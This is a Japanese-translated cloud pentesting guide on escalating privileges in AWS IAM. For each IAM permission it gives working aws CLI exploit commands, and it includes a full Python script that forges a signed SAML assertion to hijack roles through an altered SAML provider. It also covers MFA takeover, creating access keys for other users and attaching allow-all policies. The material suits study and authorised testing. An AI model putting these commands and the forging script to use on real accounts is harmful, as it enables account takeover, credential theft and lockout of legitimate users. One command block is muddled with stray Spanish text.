# AWS - IAM Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## IAM

IAMの詳細は以下を参照してください：

{{#ref}}
../../aws-services/aws-iam-enum.md
{{#endref}}

### **`iam:CreatePolicyVersion`**

新しいIAMポリシーのバージョンを作成する権限を付与します。`--set-as-default`フラグを使用することで、`iam:SetDefaultPolicyVersion`権限を必要とせずに既定のバージョンに設定でき、カスタム権限の定義が可能になります。

**エクスプロイトコマンド:**
```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**影響:** 任意のリソースに対する任意のアクションを許可することにより、直接的に権限を昇格させます。

### **`iam:SetDefaultPolicyVersion`**

IAMポリシーのデフォルトバージョンを別の既存バージョンに変更できるようにし、新しいバージョンにより多くの権限が含まれている場合は権限が昇格する可能性があります。

**Bash コマンド:**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Impact:** より多くの権限を有効にすることで間接的な privilege escalation を引き起こす。

### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**

他のユーザーの access key ID and secret access key を作成できるようにし、潜在的な privilege escalation につながる。

**Exploit:**
```bash
aws iam create-access-key --user-name <target_user>
```
**影響:** 別ユーザーの拡張された権限を引き継ぐことで、直接的な権限昇格が可能になります。

ユーザーは作成できる access keys が最大 2 つまでである点に注意してください。したがって、既に 2 つの access keys を持っているユーザーの場合、新しい access key を作成するにはいずれかを削除する必要があり、そのための権限 `iam:DeleteAccessKey` が必要になります:
```bash
aws iam delete-access-key --uaccess-key-id <key_id>
```
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**

新しい virtual MFA device を作成して別のユーザーに対して有効化できる場合、そのユーザーに対して実質的に自分の MFA を登録し、その資格情報で MFA-backed session を要求できます。

**Exploit:**
```bash
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>

# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impact:** ユーザーのMFA登録を乗っ取ることで直接的に権限昇格できる（その後そのユーザーの権限を使用できる）。

### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**

ログインプロファイルの作成または更新（AWS コンソールログイン用のパスワード設定を含む）を許可し、直接的な権限昇格につながる。

**Exploit for Creation:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**更新のためのExploit:**
```bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Impact:** 任意のユーザーとしてログインして直接的に権限昇格できる。

### **`iam:UpdateAccessKey`**

無効化されたアクセスキーを再有効化できるため、攻撃者がその無効化されたキーを所持している場合に不正アクセスにつながる可能性がある。

**Exploit:**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**Impact:** アクセスキーを再有効化することで直接的な権限昇格が可能になる。

### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**

特定の AWS サービス（最も一般的なのは **CodeCommit**）のための認証情報を生成またはリセットできる。これらは **AWS API keys** ではなく、特定のサービス向けの **username/password** 認証情報で、そのサービスが受け入れる場所でのみ使用できる。

**Creation:**
```bash
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
```
保存:

- `ServiceSpecificCredential.ServiceUserName`
- `ServiceSpecificCredential.ServicePassword`

**例:**
```bash
# Find a repository you can access as the target
aws codecommit list-repositories

export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed

# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"

# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"
```
> 注意: サービスのパスワードは `+`, `/` および `=` のような文字を含むことが多いです。対話プロンプトを使うのが通常最も簡単です。URLに埋め込む場合は、まず URL-encode してください。

この時点でターゲットユーザが CodeCommit でアクセスできるもの（例: a leaked credentials file）を何でも読むことができます。もしリポジトリから **AWS access keys** を取得したら、それらのキーで新しい **AWS CLI** プロファイルを設定し、その後リソース（例えば **Secrets Manager** から flag を読む）にアクセスします：
```bash
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
```
**リセット:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Impact:** Privilege escalation により、対象ユーザーの当該サービスに対する権限へ昇格します（および、そのサービスから取得したデータを使って pivot することで、さらに範囲が拡大する可能性があります）。

### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**

ユーザーまたはグループにポリシーをアタッチできるようにし、アタッチされたポリシーの権限を継承して直接的に escalating privileges を達成します。

**Exploit for User:**
```bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```
**グループ向けのExploit:**
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**Impact:** ポリシーが付与するあらゆる権限への直接的な権限昇格。

### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**

ロール、ユーザー、グループに対してポリシーを割り当てまたは設定することを許可し、追加の権限を付与することで直接的な権限昇格を可能にします。

**Exploit for Role:**
```bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
```
**Inline Policies の Exploit:**
```bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
```
次のようなポリシーを使用できます:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
```
**影響:** policiesを通じてpermissionsを追加することで、直接的なprivilege escalationを引き起こす。

### **`iam:AddUserToGroup`**

自分自身をIAMグループに追加できるようにし、グループのpermissionsを継承してprivilege escalationを実現する。

**Exploit:**
```bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>
```
**影響:** グループの権限レベルへの直接的な権限昇格。

### **`iam:UpdateAssumeRolePolicy`**

ロールのAssume Roleポリシードキュメントを変更できるようにし、そのロールおよび関連する権限を引き受けることを可能にします。

**Exploit:**
```bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
ポリシーが次のようになっており、ユーザーにロールを引き受ける許可を与えている場合:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
```
**影響:** 任意のロールの権限を引き受けることで、直接的な権限昇格が可能になる。

### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**

CodeCommitへの認証用にSSH公開鍵をアップロードすることと、MFAデバイスを無効化することを許可し、間接的な権限昇格につながる可能性がある。

**Exploit for SSH Key Upload:**
```bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
```
**MFA無効化のExploit:**
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**Impact:** CodeCommit へのアクセスを有効化したり、MFA 保護を無効化することで、間接的な権限昇格を引き起こす可能性があります。

### **`iam:ResyncMFADevice`**

MFA デバイスの再同期を許可し、MFA 保護を操作することで間接的な権限昇格につながる可能性があります。

**Bash コマンド:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**影響:** MFA devices を追加または操作することでの間接的な権限昇格。

### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)

これらの権限があれば、**SAML接続のXMLメタデータを変更**できます。そうすれば、**SAML federation** を悪用して、その接続を信頼している任意の **role** で **login** することが可能になります。

ただし、これを行うと **正規ユーザーは login できなくなる** 点に注意してください。とはいえ、XML を取得できれば自分のものに置き換えて login し、その後元に戻して設定を復元することができます。
```bash
# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
```
**エンドツーエンド攻撃:**

1. SAML provider とそれを信頼する role を列挙する:
```bash
export AWS_REGION=${AWS_REGION:-us-east-1}

aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"

# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json

# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
```
2. role/provider ペア用に IdP メタデータと署名済み SAML アサーションを偽造する:
```bash
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml

# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
```
<details>
<summary>展開可能: <code>/tmp/saml_forge.py</code> ヘルパー (メタデータ + 署名付きアサーション)</summary>
```python
#!/usr/bin/env python3
from __future__ import annotations

import argparse
import base64
import datetime as dt
import json
import os
import subprocess
import tempfile
import uuid

from lxml import etree
from signxml import XMLSigner, methods


def _run(cmd: list[str]) -> str:
p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
return p.stdout


def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
key_path = os.path.join(tmpdir, "key.pem")
cert_path = os.path.join(tmpdir, "cert.pem")
_run(
[
"openssl",
"req",
"-x509",
"-newkey",
"rsa:2048",
"-keyout",
key_path,
"-out",
cert_path,
"-days",
"3650",
"-nodes",
"-subj",
"/CN=attacker-idp",
]
)
return key_path, cert_path


def _pem_cert_to_b64(cert_pem: str) -> str:
lines: list[str] = []
for line in cert_pem.splitlines():
if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line:
continue
line = line.strip()
if line:
lines.append(line)
return "".join(lines)


def make_metadata_xml(cert_b64: str) -> str:
return f"""<?xml version="1.0"?>
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.invalid/idp">
<IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<KeyDescriptor use="signing">
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
<X509Data>
<X509Certificate>{cert_b64}</X509Certificate>
</X509Data>
</KeyInfo>
</KeyDescriptor>
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker.invalid/sso"/>
</IDPSSODescriptor>
</EntityDescriptor>
"""


def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes:
ns = {
"saml2p": "urn:oasis:names:tc:SAML:2.0:protocol",
"saml2": "urn:oasis:names:tc:SAML:2.0:assertion",
}

issue_instant = dt.datetime.now(dt.timezone.utc)
not_before = issue_instant - dt.timedelta(minutes=2)
not_on_or_after = issue_instant + dt.timedelta(minutes=10)

resp_id = "_" + str(uuid.uuid4())
assertion_id = "_" + str(uuid.uuid4())

response = etree.Element(etree.QName(ns["saml2p"], "Response"), nsmap=ns)
response.set("ID", resp_id)
response.set("Version", "2.0")
response.set("IssueInstant", issue_instant.isoformat())
response.set("Destination", "https://signin.aws.amazon.com/saml")

issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
issuer.text = "https://attacker.invalid/idp"

status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
status_code.set("Value", "urn:oasis:names:tc:SAML:2.0:status:Success")

assertion = etree.SubElement(response, etree.QName(ns["saml2"], "Assertion"))
assertion.set("ID", assertion_id)
assertion.set("Version", "2.0")
assertion.set("IssueInstant", issue_instant.isoformat())

a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
a_issuer.text = "https://attacker.invalid/idp"

subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
name_id.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified")
name_id.text = "attacker"

subject_conf = etree.SubElement(subject, etree.QName(ns["saml2"], "SubjectConfirmation"))
subject_conf.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer")
subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns["saml2"], "SubjectConfirmationData"))
subject_conf_data.set("NotOnOrAfter", not_on_or_after.isoformat())
subject_conf_data.set("Recipient", "https://signin.aws.amazon.com/saml")

conditions = etree.SubElement(assertion, etree.QName(ns["saml2"], "Conditions"))
conditions.set("NotBefore", not_before.isoformat())
conditions.set("NotOnOrAfter", not_on_or_after.isoformat())

audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "AudienceRestriction"))
audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience"))
audience.text = "https://signin.aws.amazon.com/saml"

attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))

attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role")
attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue"))
attr_role_value.text = f"{role_arn},{principal_arn}"

attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName")
attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue"))
attr_session_value.text = "saml-session"

key_bytes = open(key_pem, "rb").read()
cert_bytes = open(cert_pem, "rb").read()

signer = XMLSigner(
method=methods.enveloped,
signature_algorithm="rsa-sha256",
digest_algorithm="sha256",
c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#",
)
signed_assertion = signer.sign(
assertion,
key=key_bytes,
cert=cert_bytes,
reference_uri=f"#{assertion_id}",
id_attribute="ID",
)

response.remove(assertion)
response.append(signed_assertion)

return etree.tostring(response, xml_declaration=True, encoding="utf-8")


def main() -> None:
ap = argparse.ArgumentParser()
ap.add_argument("--role-arn", required=True)
ap.add_argument("--principal-arn", required=True)
args = ap.parse_args()

with tempfile.TemporaryDirectory() as tmp:
key_path, cert_path = _openssl_make_key_and_cert(tmp)
cert_pem = open(cert_path, "r", encoding="utf-8").read()
cert_b64 = _pem_cert_to_b64(cert_pem)

metadata_xml = make_metadata_xml(cert_b64)
saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path)
saml_b64 = base64.b64encode(saml_xml).decode("ascii")

print(json.dumps({"metadata_xml": metadata_xml, "assertion_b64": saml_b64}))


if __name__ == "__main__":
main()
```
</details>

3. SAMLプロバイダのメタデータをあなたの IdP 証明書に更新し、ロールを引き受け、返された STS 認証情報を使用します:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml

# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"

# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
```
4. クリーンアップ: 以前のメタデータを復元する:
```bash
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
```
> [!WARNING]
> SAML provider のメタデータの更新は影響が大きいです: メタデータが適用されている間、正当な SSO ユーザーが認証できない可能性があります。

### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)

(これについては不確かです) 攻撃者がこれらの **権限** を持っている場合、プロバイダーを信頼するすべてのロールにログインするために、新しい **Thumbprint** を追加できる可能性があります。
```bash
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
```
### `iam:PutUserPermissionsBoundary`

この権限により攻撃者はユーザーの permissions boundary を更新でき、その結果、通常は既存の権限で制限されている操作を実行可能にして権限を昇格させる可能性があります。
```bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una política que no aplica ninguna restricción es:


{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
```
### `iam:PutRolePermissionsBoundary`

iam:PutRolePermissionsBoundary を持つアクターは、既存の role に permissions boundary を設定できます。リスクは、この権限を持つ者が role の boundary を変更した場合に発生します: 操作を不適切に制限して service disruption を引き起こす可能性、あるいは permissive boundary をアタッチすると role の権限が実質的に拡大して権限昇格を招く可能性があります。
```bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
```
## 参考資料

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

{{#include ../../../../banners/hacktricks-training.md}}
